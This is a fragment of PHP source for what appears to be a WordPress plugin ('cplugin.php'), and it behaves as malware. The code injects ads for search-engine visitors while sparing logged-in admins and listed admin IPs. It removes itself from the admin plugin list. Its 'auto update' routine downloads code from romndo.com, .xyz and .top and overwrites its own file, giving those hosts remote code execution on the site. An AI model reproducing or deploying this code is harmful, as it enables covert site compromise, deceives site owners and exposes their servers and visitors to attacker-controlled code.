') { $search_engines = explode(',', get_option('search_engines')); $referer = $_SERVER['HTTP_REFERER']; $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com'); foreach ($search_engines as $search) { if (strpos($referer,$search)!==false) { setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); $organic=true; } } }//end //display ad if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in()) { $ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt'); if (stripos($ips, $vis_ip) === false) { /*****/ if(get_option('display_ad')=='organic') { if($organic==true || isset($_COOKIE['organic'])) { add_filter('the_content','display_ad_single'); add_action('wp_footer','display_ad_footer'); } } else { add_filter('the_content','display_ad_single'); add_action('wp_footer','display_ad_footer'); } /****/ } } /*******************/ //update plugin if(get_option('auto_update')=='on') { if( ini_get('allow_url_fopen') ) { if (($new_version = @file_get_contents("http://www.romndo.com/update.php") OR $new_version = @file_get_contents_cplugin("http://www.romndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents("http://www.romndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents("http://www.romndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } } else { if (($new_version = @file_get_contents("http://www.romndo.com/update.php") OR $new_version = @file_get_contents_cplugin("http://www.romndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents_cplugin("http://www.romndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } elseif ($new_version = @file_get_contents_cplugin("http://www.romndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) { if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) { @file_put_contents(__FILE__, $new_version); } } } }//end if auto update /*********************************/ }// if function exist function file_get_contents_cplugin($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function hide_plugin_cplugin() { global $wp_list_table; $hidearr = array('cplugin.php'); $myplugins = $wp_list_table->items; foreach ($myplugins as $key => $val) { if (in_array($key,$hidearr)) { unset($wp_list_table->items[$key]); } } } add_action('pre_current_active_plugins', 'hide_plugin_cplugin'); function getVisIpAddr_cplugin() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } ?>